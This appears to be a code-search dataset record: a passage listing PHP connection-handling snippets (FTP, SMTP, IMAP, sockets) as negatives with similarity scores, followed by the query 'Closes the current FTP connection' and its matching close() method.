CURLOPT_RETURNTRANSFER, TRUE);\n\t\t\treturn $ch;\n\t\t}", "function wpse_74180_upload_to_ftp( $args ) {\n\t$upload_dir = wp_upload_dir();\n\t$upload_url = get_option('upload_url_path');\n\t$upload_yrm = get_option('uploads_use_yearmonth_folders');\n\t/**\n\t * Change this to match your server\n\t * You only need to change the those with (*)\n\t * If marked with (-) its optional \n\t */\n\t$settings = array(\n\t\t'host'\t =>\t'ip or hostname ftp/hosting', \t\t\t// * the ftp-server hostname\n\t\t'port' => 21, // * the ftp-server port (of type int)\n\t\t'user'\t =>\t'username ftp', \t\t\t\t// * ftp-user\n\t\t'pass'\t =>\t'password ftp',\t \t\t\t\t// * ftp-password\n\t\t'cdn' => 'subdomain.domain.com',\t\t\t// * This have to be a pointed domain or subdomain to the root of the uploads\n\t\t'path'\t =>\t'/',\t \t\t\t\t\t// - ftp-path, default is root (/). Change here and add the dir on the ftp-server,\n\t\t'base'\t => $upload_dir['basedir'] \t// Basedir on local \n\t);\n\t/**\n\t * Change the upload url to the ftp-server\n\t */\n\tif( empty( $upload_url ) ) {\n\t\tupdate_option( 'upload_url_path', esc_url( $settings['cdn'] ) );\n\t}\n\t/**\n\t * Host-connection\n\t * Read about it here: http://php.net/manual/en/function.ftp-connect.php\n\t */\n\t\n\t$connection = ftp_connect( $settings['host'], $settings['port'] );\n\t/**\n\t * Login to ftp\n\t * Read about it here: http://php.net/manual/en/function.ftp-login.php\n\t */\n\t$login = ftp_login( $connection, $settings['user'], $settings['pass'] );\n\t\n\t/**\n\t * Check ftp-connection\n\t */\n\tif ( !$connection || !$login ) {\n\t die('Connection attempt failed, Check your settings');\n\t}\n\tfunction ftp_putAll($conn_id, $src_dir, $dst_dir, $created) {\n $d = dir($src_dir);\n\t while($file = $d->read()) { // do this for each file in the directory\n\t if ($file != \".\" && $file != \"..\") { // to prevent an infinite loop\n\t if (is_dir($src_dir.\"/\".$file)) { // do the following if it is a directory\n\t if (!@ftp_chdir($conn_id, $dst_dir.\"/\".$file)) {\n\t ftp_mkdir($conn_id, $dst_dir.\"/\".$file); // create directories that do not yet exist\n\t }\n\t $created = ftp_putAll($conn_id, $src_dir.\"/\".$file, $dst_dir.\"/\".$file, $created); // recursive part\n\t } else {\n\t $upload = ftp_put($conn_id, $dst_dir.\"/\".$file, $src_dir.\"/\".$file, FTP_BINARY); // put the files\n\t if($upload)\n\t \t$created[] = $src_dir.\"/\".$file;\n\t }\n\t }\n\t }\n\t $d->close();\n\t return $created;\n\t}\n\t/**\n\t * If we ftp-upload successfully, mark it for deletion\n\t * http://php.net/manual/en/function.ftp-put.php\n\t */\n\t$delete = ftp_putAll($connection, $settings['base'], $settings['path'], array());\n\t\n\t// Delete all successfully-copied files\n\tforeach ( $delete as $file ) {\n\t\tunlink( $file );\n\t}\n\t\n\treturn $args;\n}", "final public function p_connect() {\n \t$this->connect('', '', '', '', true);\n \t}", "static function &creer_ftp(&$liste_option, $user, $passwd, $port = '21', $timeout = 10, $sort_en_erreur = false, $entete = __CLASS__) {\n\t\t$objet = new ftp ( $user, $passwd, $sort_en_erreur, $port, $timeout, $entete );\n\t\t$objet->_initialise ( array (\n\t\t\t\t\"options\" => $liste_option \n\t\t) );\n\t\t\n\t\treturn $objet;\n\t}", "public function applyConnection()\n\t{\n\t\t$result = (object) [\n\t\t\t'status' => true,\n\t\t\t'message' => '',\n\t\t\t'ignorable' => false,\n\t\t];\n\n\t\t// Get the parameters from the request\n\t\t$transferOption = $this->input->getCmd('method', 'ftp');\n\t\t$force = $this->input->getInt('force', 0);\n\t\t$ftpHost = $this->input->get('host', '', 'raw', 2);\n\t\t$ftpPort = $this->input->getInt('port', null);\n\t\t$ftpUsername = $this->input->get('username', '', 'raw', 2);\n\t\t$ftpPassword = $this->input->get('password', '', 'raw', 2);\n\t\t$ftpPubKey = $this->input->get('public', '', 'raw', 2);\n\t\t$ftpPrivateKey = $this->input->get('private', '', 'raw', 2);\n\t\t$ftpPassive = $this->input->getInt('passive', 1);\n\t\t$ftpPassiveFix = $this->input->getInt('passive_fix', 1);\n\t\t$ftpDirectory = $this->input->get('directory', '', 'raw', 2);\n\t\t$chunkMode = $this->input->getCmd('chunkMode', 'chunked');\n\t\t$chunkSize = $this->input->getInt('chunkSize', '5242880');\n\n\t\t// Fix the port if it's missing\n\t\tif (empty($ftpPort))\n\t\t{\n\t\t\tswitch ($transferOption)\n\t\t\t{\n\t\t\t\tcase 'ftp':\n\t\t\t\tcase 'ftpcurl':\n\t\t\t\t\t$ftpPort = 21;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'ftps':\n\t\t\t\tcase 'ftpscurl':\n\t\t\t\t\t$ftpPort = 990;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'sftp':\n\t\t\t\tcase 'sftpcurl':\n\t\t\t\t\t$ftpPort = 22;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// Store everything in the session\n\t\t$this->container->platform->setSessionVar('transfer.transferOption', $transferOption, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.force', $force, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpHost', $ftpHost, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPort', $ftpPort, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpUsername', $ftpUsername, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPassword', $ftpPassword, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPubKey', $ftpPubKey, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPrivateKey', $ftpPrivateKey, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpDirectory', $ftpDirectory, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPassive', $ftpPassive ? 1 : 0, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.ftpPassiveFix', $ftpPassiveFix ? 1 : 0, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.chunkMode', $chunkMode, 'akeeba');\n\t\t$this->container->platform->setSessionVar('transfer.chunkSize', $chunkSize, 'akeeba');\n\n\t\t/** @var \\Akeeba\\Backup\\Admin\\Model\\Transfer $model */\n\t\t$model = $this->getModel();\n\n\t\ttry\n\t\t{\n\t\t\t$config = $model->getFtpConfig();\n\t\t\t$model->testConnection($config);\n\t\t}\n\t\tcatch (TransferIgnorableError $e)\n\t\t{\n\t\t\t$result = (object) [\n\t\t\t\t'status' => false,\n\t\t\t\t'ignorable' => true,\n\t\t\t\t'message' => $e->getMessage(),\n\t\t\t];\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t$result = (object) [\n\t\t\t\t'status' => false,\n\t\t\t\t'message' => $e->getMessage(),\n\t\t\t\t'ignorable' => false,\n\t\t\t];\n\t\t}\n\n\t\t@ob_end_clean();\n\t\techo '###' . json_encode($result) . '###';\n\t\t$this->container->platform->closeApplication();\n\t}", "public function connect(): bool;", "private function smtpConnect()\n { \n //Connect to smtp server\n $this->smtpConnection = fsockopen(\n ($this->smtpSecure && $this->smtpSecure == 'ssl' ? 'ssl://' : '').$this->smtpHost,\n $this->smtpPort,\n $errno,\n $errstr,\n $this->timeoutConnection\n );\n \n if( empty($this->smtpConnection) ) {\n \n $this->debugMessages[] = 'Error: Failed to connect to server! Error number: ' .$errno . ' (' . $errstr . ')';\n \n return false;\n }\n \n //Add extra time to get respnose from server.\n socket_set_timeout($this->smtpConnection, $this->timeoutConnection, 0);\n \n $response = $this->getSmtpResponse();\n $this->debugMessages[] = 'Success: ' . $response;\n \n return true;\n }", "public function connect() {\n\t\treturn true;\n\t}", "function connect() {\n $fedora_user = new stdClass();\n $fedora_user->name = $this->config->fedora->username;\n $fedora_user->pass = $this->config->fedora->password;\n $this->fedora_connect = new FedoraConnection($fedora_user, $this->config->fedora->protocol . '://' . $this->config->fedora->host . ':' . $this->config->fedora->port . '/fedora');\n }", "function FtpUpload($dest_file, $src_file){\n\n $server='localhost'; // ftp server\n $connection = ftp_connect($server); // connection\n\n // login to ftp server\n $user = \"linkrx7\";\n $pass = \"rotary\";\n $result = ftp_login($connection, $user, $pass);\n// check connection\nif ((!$connection) || (!$result)) { \n echo \"FTP connection has failed!\";\n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n}\n// upload the file\n$upload = ftp_put($connection, $dest_file, $src_file, FTP_BINARY); \n\n// check upload status\nif (!$upload) { \n echo \"FTP upload has failed!\";\n }\n// close the FTP stream \nftp_close($connection);\n}", "public function close() {\n if($this->_connected) {\n if(ftp_close($this->_ftpConnection)) {\n $this->_ftpConnection = FALSE;\n $this->_connected = FALSE;\n return TRUE;\n } else {\n trigger_error(\"Couldn't close connection\");\n return FALSE;\n }\n } else {\n trigger_error(\"Tried to close non-existent connection\");\n return FALSE;\n }\n }", "public function connect() : bool\r\n {\r\n if ($this->authenticated() === false)\r\n return false;\r\n\r\n // TODO: check connection with basic api request\r\n\r\n return true;\r\n }", "function _open_data_connection()\n\t{\n\t\t// Try to find out whether we have a IPv4 or IPv6 (control) connection\n\t\tif (function_exists('stream_socket_get_name'))\n\t\t{\n\t\t\t$socket_name = stream_socket_get_name($this->connection, true);\n\t\t\t$server_ip = substr($socket_name, 0, strrpos($socket_name, ':'));\n\t\t}\n\n\t\tif (!isset($server_ip) || preg_match(get_preg_expression('ipv4'), $server_ip))\n\t\t{\n\t\t\t// Passive mode\n\t\t\t$this->_send_command('PASV', '', false);\n\n\t\t\tif (!$ip_port = $this->_check_command(true))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// open the connection to start sending the file\n\t\t\tif (!preg_match('#[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+#', $ip_port, $temp))\n\t\t\t{\n\t\t\t\t// bad ip and port\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t$temp = explode(',', $temp[0]);\n\t\t\t$server_ip = $temp[0] . '.' . $temp[1] . '.' . $temp[2] . '.' . $temp[3];\n\t\t\t$server_port = $temp[4] * 256 + $temp[5];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Extended Passive Mode - RFC2428\n\t\t\t$this->_send_command('EPSV', '', false);\n\n\t\t\tif (!$epsv_response = $this->_check_command(true))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// Response looks like \"229 Entering Extended Passive Mode (|||12345|)\"\n\t\t\t// where 12345 is the tcp port for the data connection\n\t\t\tif (!preg_match('#\\(\\|\\|\\|([0-9]+)\\|\\)#', $epsv_response, $match))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t$server_port = (int) $match[1];\n\n\t\t\t// fsockopen expects IPv6 address in square brackets\n\t\t\t$server_ip = \"[$server_ip]\";\n\t\t}\n\n\t\t$errno = 0;\n\t\t$errstr = '';\n\n\t\tif (!$this->data_connection = @fsockopen($server_ip, $server_port, $errno, $errstr, $this->timeout))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\t@stream_set_timeout($this->data_connection, $this->timeout);\n\n\t\treturn true;\n\t}", "function downloadFileThroughFtp(\n $username,\n $password,\n $host,\n $absolutePath,\n $localDirectoryPath )\n{\n $baseName = extractBaseNameFromPath( $absolutePath );\n\n $ftpStream = ftp_connect( $host );\n\n ftp_login( $ftpStream, $username, $password );\n ftp_pasv( $ftpStream, TRUE );\n\n $isFileDownloaded = writeLocalFileFromFtpStream(\n $baseName, $localDirectoryPath, $ftpStream, $absolutePath );\n\n ftp_close( $ftpStream );\n\n return $isFileDownloaded;\n}", "function closeFTP()\n\t{\n\t\tftp_close($this->conn_id);\n\t}", "public function isPassive();", "function ftpFiles($id, $archivo, $destino){\r\n\t//die(\"ftpFiles: $id - $archivo - $destino<br />\");\r\n\textract($GLOBALS);\r\n\t$aux = split(\"@\", $destino);\r\n\t$dir_crops = $aux[0] . \"/\";\r\n\t$server = $aux[1];\r\n\t$dir_id = calcularCarpeta($id) . \"/\";\r\n\t$auxFile = pathinfo($archivo);\r\n\t$localFile = $auxFile[\"basename\"];\r\n\t\r\n\tswitch($server){\r\n\t\tcase \"USA\": $dir_final = DIR_WP_USA;break;\t\t\r\n\t\tcase \"241\": $dir_final = DIR_WP_241;\tbreak;\r\n\t}\r\n\t\r\n\t$remoteFilePath = \"$dir_final$dir_crops$dir_id$localFile\";\r\n\tprint \"$dir_crops - $localFile creado!<br />\";\r\n\t//------------------ftp login---------------------------------------------------------------------------------\r\n\t$ftp = new Ftp($servers[$server][0], $servers[$server][1], $servers[$server][2]);\r\n\tif( !$ftp->login() ){\r\n\t\terror(\"No se pudo conectar al FTP: $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t};\r\n\t\r\n\tif( !$ftp->cambiarAcarpeta($dir_final . $dir_crops ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_final . $dir_crops ) ){\r\n\t\t\terror(\"No se pudo crear la carpeta: $dir_final . $dir_crops\", false);\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie();\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta($dir_final . $dir_crops);\r\n\t}\r\n\t\t\r\n\tif( !$ftp->cambiarAcarpeta( $dir_id ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_id ) ){\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie(\"No se pudo crear la carpeta: \" . $dir_final . $dir_crops . $dir_id);\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta( $dir_id );\r\n\t}\r\n\t\r\n\tif( !$ftp->subir( $archivo, $localFile) ){\r\n\t\tprint \"no se pudo subir ($archivo a $remoteFilePath en $server)\\n\";\r\n\t\terror(\"No se pudo subir $archivo a $remoteFilePath en $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t\tdie();\r\n\t}else{\r\n\t\t@unlink($archivo);\r\n\t\tprint $localFile . \" subido a: $server!!<br />\";\r\n\t}\r\n\r\n\t//$ftp->logout();\r\n\t//print \"$remoteFilePath@$server@$destino <br />\";\r\n\t$_SESSION['subidos'][] = \"$remoteFilePath@$server@$destino\";\r\n}", "protected function passiveMode()\n {\n if(!filter_var($this->ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE))\n {\n ftp_pasv($this->resource,true);\n }\n\n }", "public static function checkConnection() {\r\n\t\t$url = MoufReflectionProxy::getLocalUrlToProject().\"src/direct/test_connection.php\";\r\n\t\r\n\t\t$response = self::performRequest($url);\r\n\t\t\r\n\t\tif ($response == 'ok') {\r\n\t\t\treturn true;\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "function connect() {\n $this->conn = imap_open('{'.$this->server.'/notls}', $this->user, $this->pass);\n }", "function _ftp_chdir($dir)\n\t{\n\t\t// Calculate \"real\" (absolute) FTP path\n\t\t$realdir = substr($this->_initdir, -1) == '/' ? substr($this->_initdir, 0, strlen($this->_initdir) - 1) : $this->_initdir;\n\t\t$realdir .= '/'.$dir;\n\t\t$realdir = substr($realdir, 0, 1) == '/' ? $realdir : '/'.$realdir;\n\n\t\tif($this->_currentdir == $realdir)\n\t\t{\n\t\t\t// Already there, do nothing\n\t\t\treturn true;\n\t\t}\n\n\t\t$result = @ftp_chdir($this->_ftphandle, $realdir);\n\t\tif($result === false)\n\t\t{\n\t\t\t// The directory doesn't exist, let's try to create it...\n\t\t\tif(!$this->_makeDirectory($dir)) return false;\n\t\t\t// After creating it, change into it\n\t\t\t@ftp_chdir($this->_ftphandle, $realdir);\n\t\t}\n\n\t\t// Update the private \"current remote directory\" variable\n\t\t$this->_currentdir = $realdir;\n\t\treturn true;\n\t}", "function tcp_connect($address, $port, $ctimeout = NULL)\n\t {\n\t\t$fp = fsockopen($address, $port, $error, $errstr, $ctimeout);\n\t\tif(!$fp) {\n\t\t\treturn false;\n\t\t}\n\n\t\t/*if(!stream_set_blocking($fp, 0)) {\n\t\t\tfclose($fp);\n\t\t\treturn false;\n\t\t}*/\n\t\treturn $fp;\n\t }", "private function imap_connect() {\n //gracefully close any existing imap connections (shouldn't be any, but just in case...)\n $this->imap_disconnect();\n\n $hostname = IMAP_HOSTNAME;\n $port = IMAP_PORT;\n $username = IMAP_USERNAME;\n $password = IMAP_PASSWORD;\n $msg_folder = IMAP_FOLDER;\n $options = \"/\" . implode(\"/\", IMAP_OPTIONS);\n $auth = \"{{$hostname}:{$port}{$options}}{$msg_folder}\";\n\n self::$imap_conn = imap_open($auth, $username, $password, null, 3, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));\n\n if (is_resource(self::$imap_conn) && get_resource_type(self::$imap_conn) === \"imap\") {\n return true;\n } else {\n fprintf(STDERR, \"Cannot connect to {$hostname}.\\n%s\\n\", imap_last_error());\n return false;\n }\n }", "public function upload() {\n // FYI. We are on master now.\n $m_ftp = new \\Model_Ftp();\n $m_ftp->user_id = $this->user_id;\n $branch = $this->branch;\n // Get ftp data for the respective branch\n $ftp_data = $m_ftp->get($branch['ftp_id']);\n\n if (count($ftp_data) !== 1) {\n $this->log('Failed: Enviornment does not have a Linked FTP account.');\n throw new Exception(\"No Linked FTP for enviornment.\");\n } else {\n $ftp_data = $ftp_data[0];\n }\n\n // Testing if the FTP server works.\n try {\n $ftp_data['user'] = $ftp_data['username'];\n $ftp_url = http_build_url($ftp_data);\n// $ftp_test = utils::test_ftp($ftp_url);\n $ftp_test = new \\Banago\\Bridge\\Bridge($ftp_url);\n if ($ftp_test) {\n $this->log('ftp_connect', 'connected');\n }\n } catch (Exception $e) {\n $this->log('ftp_connect', 'connection failed: ' . $e->getMessage());\n throw new Exception('We are sending msg here.' . $e->getMessage());\n }\n\n // LOG --------------------------------\n $this->log('deploy_branch', $branch['branch_name']);\n $this->log('deploy_branch_env', $branch['name']);\n $this->output('Deploy to branch name: ' . $branch['branch_name']);\n // LOG END ----------------------------\n\n /*\n * Data is ready, need to get ready with repository state.\n * Has to be checked out to the branch specified\n * and has to be checked out to the commit specified.\n */\n\n /*\n * pull and clone done,\n * checkout to branch now.\n */\n\n $this->output('Checkout to ' . $branch['branch_name']);\n \\Utils::gitCommand(\"checkout \" . $this->branch['branch_name']);\n $this->log('revision_on_server_before', $branch['revision']);\n $this->output('Revision on FTP: ' . $branch['revision']);\n\n // Setting options for gitcore\n $options = array(\n 'record_id' => $this->record_id,\n 'repo' => $this->repo_dir,\n 'debug' => $this->debug,\n 'deploy_id' => $this->deploy_id,\n 'server' => 'default',\n 'ftp' => array(\n 'default' => array(\n 'scheme' => $ftp_data['scheme'],\n 'host' => $ftp_data['host'],\n 'user' => $ftp_data['username'],\n 'pass' => $ftp_data['pass'],\n 'port' => $ftp_data['port'],\n 'path' => $ftp_data['path'],\n 'passive' => TRUE,\n 'skip' => unserialize($this->branch['skip_path']),\n 'purge' => unserialize($this->branch['purge_path']),\n )\n ),\n 'remoteRevision' => $branch['revision'],\n );\n\n // if type_rollback.\n if ($this->record['record_type'] == $this->m_record->type_rollback && !empty($this->record['hash'])) {\n // checkout the the specific hash.\n \\Utils::gitCommand('checkout ' . $this->record['hash']);\n }\n\n // if type_sync\n if ($this->record['record_type'] == $this->m_record->type_sync) {\n // upload all files please.\n $options['remoteRevision'] = '';\n }\n\n if ($this->record['record_type'] == $this->m_record->type_service_push) {\n // push from github/bitbucket.\n if (!empty($this->record['hash']))\n \\Utils::gitCommand('checkout ' . $this->record['hash']);\n }\n\n // else its update\n\n $localRevision = \\Utils::gitCommand('rev-parse HEAD');\n if (isset($localRevision[0])) {\n $localRevision = trim($localRevision[0]);\n $options['localRevision'] = $localRevision;\n }\n\n if ($options['localRevision'] == $options['remoteRevision']) {\n $this->output('FTP server has the latest changes!');\n $this->log('FTP server has the latest changes!');\n }\n\n $this->output($localRevision);\n\n $gitcore = new \\Gitcore($options);\n try {\n // todo: we're inside.\n $gitcore->startDeploy();\n } catch (Exception $e) {\n // Store logs from GITCORE.\n $this->log('deploy_log', $gitcore->log);\n $this->output($this->log);\n throw new \\Exception($e->getMessage());\n }\n\n // Store Logs from GITCORE.\n $this->log['deploy_log'] = $gitcore->log;\n $this->output($this->log);\n\n $before_revision = $this->log['deploy_log']['remoteRevision_before'];\n $current_revision = $this->log['deploy_log']['remoteRevision_after'];\n\n // Storing output from GITCORE.\n $this->m_record->set($this->record_id, array(\n 'raw' => serialize($this->log),\n 'amount_deployed' => $this->log['deploy_log']['deployed']['human'],\n 'amount_deployed_raw' => $this->log['deploy_log']['deployed']['data'],\n 'file_add' => $this->log['deploy_log']['files']['upload'],\n 'file_remove' => $this->log['deploy_log']['files']['delete'],\n 'file_skip' => $this->log['deploy_log']['files']['skip'],\n 'hash' => $current_revision,\n 'hash_before' => $before_revision,\n ));\n\n // OK,\n // Update branch to ready,\n // Update branch revision.\n $this->m_branches->set($branch['id'], array(\n 'ready' => 1,\n 'revision' => $current_revision\n ));\n\n // OK, checkout to master.\n \\Utils::gitCommand('checkout master');\n }", "private function init_soap() {\r\n\r\n if ($this->environment != 'REMOTE') {\r\n $currentfile = dirname(__FILE__).'/wsdl/wsdl-'.$this->environment.'.wsdl';\r\n if (is_file($currentfile)) {\r\n $this->add_log('init_soap: OK Local wsdl ->'.$currentfile, 'DEBUG');\r\n $this->get_soapclient($currentfile);\r\n return true;\r\n }\r\n }\r\n\r\n // Check if $url is empty\r\n if (empty($this->wsurl)) {\r\n $this->add_log('init_soap: wsurl is empty', 'ERROR');\r\n return false;\r\n }\r\n\r\n $this->add_log('init_soap: OK Remote wsdl -> '.$this->wsurl, 'DEBUG');\r\n\r\n @$this->get_soapclient($this->wsurl . '?wsdl');\r\n\r\n $this->add_log('init_soap: Soap Client WSDL loaded', 'DEBUG');\r\n return true;\r\n }", "public function connect() {\n\n \tif (!$this->connected()) {\n// \t\t$this->oAdapterAbstract = parent::factory('mysqli',\n// \t\t\tarray (\n// \t\t\t\t'host' => $this->oConfig->getHost(),\n// \t\t\t\t'username' => $this->oConfig->getUser(),\n// \t\t\t\t'password' => $this->oConfig->getPass(),\n// \t\t\t\t'dbname' => $this->oConfig->getDb(),\n// 'charset' => 'utf8',\n// \t\t\t\t'driver_options' => array(MYSQLI_INIT_COMMAND => 'SET NAMES UTF8;')\n// \t\t\t)\n// \t\t);\n \t}\n\n return true;\n }", "function connect() {\n\n\t\t// only if logins are set\n\t\tif ($this->server->ip && $this->server->port && $this->server->login && $this->server->pass) {\n\t\t\t// log console message\n\t\t\t$this->console('Try to connect to MP dedicated server on {1}:{2} timeout {3}s',\n\t\t\t $this->server->ip, $this->server->port,\n\t\t\t ($this->server->timeout !== null ? $this->server->timeout : 0));\n\n\t\t\t// connect to the server\n\t\t\tif (!$this->client->InitWithIp($this->server->ip, $this->server->port, $this->server->timeout)) {\n\t\t\t\ttrigger_error('[' . $this->client->getErrorCode() . '] InitWithIp - ' . $this->client->getErrorMessage(), E_USER_WARNING);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// log console message\n\t\t\t$this->console(\"Try to authenticate with login '{1}' and password '{2}'\",\n\t\t\t $this->server->login, $this->server->pass);\n\n\t\t\t// check login\n\t\t\tif ($this->server->login != 'SuperAdmin') {\n\t\t\t\ttrigger_error(\"Invalid login '\" . $this->server->login . \"' - must be 'SuperAdmin' in config.xml !\", E_USER_WARNING);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// check password\n\t\t\tif ($this->server->pass == 'SuperAdmin') {\n\t\t\t\ttrigger_error(\"Insecure password '\" . $this->server->pass . \"' - should be changed in dedicated config and config.xml !\", E_USER_WARNING);\n\t\t\t}\n\n\t\t\t// log into the server\n\t\t\tif (!$this->client->query('Authenticate', $this->server->login, $this->server->pass)) {\n\t\t\t\ttrigger_error('[' . $this->client->getErrorCode() . '] Authenticate - ' . $this->client->getErrorMessage(), E_USER_WARNING);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// enable callback system\n\t\t\t$this->client->query('EnableCallbacks', true);\n\n\t\t\t// wait for server to be ready\n\t\t\t$this->waitServerReady();\n\n\t\t\t// connection established\n\t\t\treturn true;\n\t\t} else {\n\t\t\t// connection failed\n\t\t\treturn false;\n\t\t}\n\t}", "function connect()\n\t{\n\t\t\n\t\t$this->sock = @fsockopen($this->host,$this->port,&$this->errno,&$this->errstr,30);\n\t\t@set_socket_blocking($this->sock,false);\n\t\treturn $this->sock;\n\t}", "private function checkFtpVersion(Config\\Config $config, Ftp $ftp) {\n\t\t\t$ftpVer\t\t\t= $ftp->getCurrentVersion();\n\t\t\tif(!isset($ftpVer) || $ftpVer === false) {\n\t\t\t\tLogger::userInput(Translations::get('version_ftp_not_found', array($config->getVersionFile())));\n\t\t\t\tif(CLI::userInput(array('y', 'yes', 1)) === false) {\n\t\t\t\t\tLogger::fatalError(\"ABORTING!\");\n\t\t\t\t}\n\t\t\t\t$ftpVer = 0;\n\t\t\t}\n\t\t\treturn $ftpVer;\n\t\t}", "protected function closeFtpConnection()\n {\n if (is_resource($this->ftpConnection)) {\n ftp_close($this->ftpConnection);\n }\n\n $this->ftpConnection = null;\n }", "function connect($server = '', $port = 0) {\r\n if (!$server){\r\n\t\t\t\t\t$server = $this->settings['server'];\r\n\t\t\t\t}\r\n if (!$port){\r\n $port = $this->settings['port'];\r\n\t\t\t\t}\r\n if (!$this->sock = @fsockopen($server, $port, $this->sock_errno, $this->id['socket']['errstr'])) {\r\n $this->error(\"Could not open socket, error code: {$this->sock_errno}, error string : {{$this->id['socket']['errstr']}}\", __FILE__, __LINE__);\r\n return false;\r\n } else {\r\n stream_set_timeout($this->sock, 3);\r\n return 1;\r\n }\r\n }", "function disconnect()\n\t{\n\t\tif (is_resource($this->connection))\n\t\treturn @ftp_close($this->connection);\n\t\telse\n\t\treturn true;\n\t}", "public function toggleFTPuser($hasFTP) {\n\t\tif (is_bool($hasFTP)) {\n\t\t\t$this->_createFTPUser = $hasFTP;\n\t\t}\n\t}", "public function connect()\r\n {\r\n $this->log( \"Connecting to {$this->_server}:{$this->_port}\" );\r\n \r\n // open the connection\r\n $this->_conn = fsockopen( $this->_server, $this->_port, $errno, $errstr, 10 );\r\n \r\n if ( $this->_conn )\r\n {\r\n $this->log( \"Connected.\" );\r\n \r\n // start processing the data\r\n $this->main();\r\n }\r\n }", "public function isConnect()\n {\n return $this->method === self::METHOD_CONNECT;\n }", "function connect() {\n trigger_before( 'connect', $this, $this );\n $this->conn = mysql_connect($this->host,$this->user,$this->pass,$this->opt1,$this->opt2);\n if (!$this->conn) {\n $this->db_open = false;\n trigger_error(\"Sorry, the database connection failed. Please check your database connection settings.\".@mysql_error($this->conn), E_USER_ERROR );\n } else {\n $this->db_open = mysql_select_db($this->dbname);\n if (!$this->db_open)\n trigger_error(@mysql_error($this->conn), E_USER_ERROR );\n }\n return $this->db_open;\n }", "public function connect()\n\t{\n\t\t$this->isConnected = false;\n\n\t\t$this->connectInternal();\n\t}" ]
[ "0.7959775", "0.7709272", "0.75939596", "0.7419779", "0.74053115", "0.7191863", "0.71061856", "0.6946227", "0.6845456", "0.6753118", "0.674454", "0.6608942", "0.6536883", "0.6521797", "0.6517944", "0.64773315", "0.64555705", "0.6444086", "0.6413702", "0.6379826", "0.63721055", "0.63675475", "0.6347275", "0.62736934", "0.6203008", "0.61481357", "0.61137736", "0.6104065", "0.60854775", "0.6067659", "0.606448", "0.5872891", "0.584555", "0.58120155", "0.5714343", "0.56965315", "0.56875247", "0.5675306", "0.5658489", "0.5637021", "0.5634018", "0.56318414", "0.55782485", "0.5563575", "0.5557286", "0.55466425", "0.55407965", "0.55169857", "0.549897", "0.5494402", "0.54942775", "0.548517", "0.54765856", "0.54663783", "0.54595345", "0.5442507", "0.54417694", "0.54386115", "0.5437148", "0.54301643", "0.54104394", "0.53863627", "0.5383533", "0.53686637", "0.53258324", "0.5320831", "0.5320776", "0.53057986", "0.53039855", "0.5295051", "0.52940035", "0.5287713", "0.5280159", "0.5279771", "0.52627516", "0.525862", "0.52250487", "0.5218186", "0.52089435", "0.5205101", "0.5168767", "0.51619923", "0.5157082", "0.5156255", "0.5138753", "0.5136114", "0.5105657", "0.51014155", "0.5096053", "0.50918514", "0.5083759", "0.5082294", "0.5066866", "0.5063093", "0.50590163", "0.5057499", "0.50569016", "0.5055516", "0.5055326", "0.5053008" ]
0.7040746
7
Closes the current FTP connection.
public function close() { if ($this->getActive()) { // Close the connection if (ftp_close($this->_connection)) { return true; } else { return false; } $this->_active = false; $this->_connection = null; $this->_errors = null; } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function close()\n {\n if ($this->isConnected()) {\n ftp_close($this->connection);\n }\n }", "function close() {\n\t\tftp_close($this->conn_id);\n\t}", "function closeFTP()\n\t{\n\t\tftp_close($this->conn_id);\n\t}", "protected function closeFtpConnection()\n {\n if (is_resource($this->ftpConnection)) {\n ftp_close($this->ftpConnection);\n }\n\n $this->ftpConnection = null;\n }", "function closeFtpConnection() {\n global $objFtp;\n\n if (isset($objFtp)) {\n @ftp_close($objFtp);\n }\n }", "function _close()\n\t{\n\t\tif (!$this->connection)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn @ftp_quit($this->connection);\n\t}", "public function __destruct() {\r\n ftp_close($this->connessione);\r\n }", "public function close() {\n if($this->_connected) {\n if(ftp_close($this->_ftpConnection)) {\n $this->_ftpConnection = FALSE;\n $this->_connected = FALSE;\n return TRUE;\n } else {\n trigger_error(\"Couldn't close connection\");\n return FALSE;\n }\n } else {\n 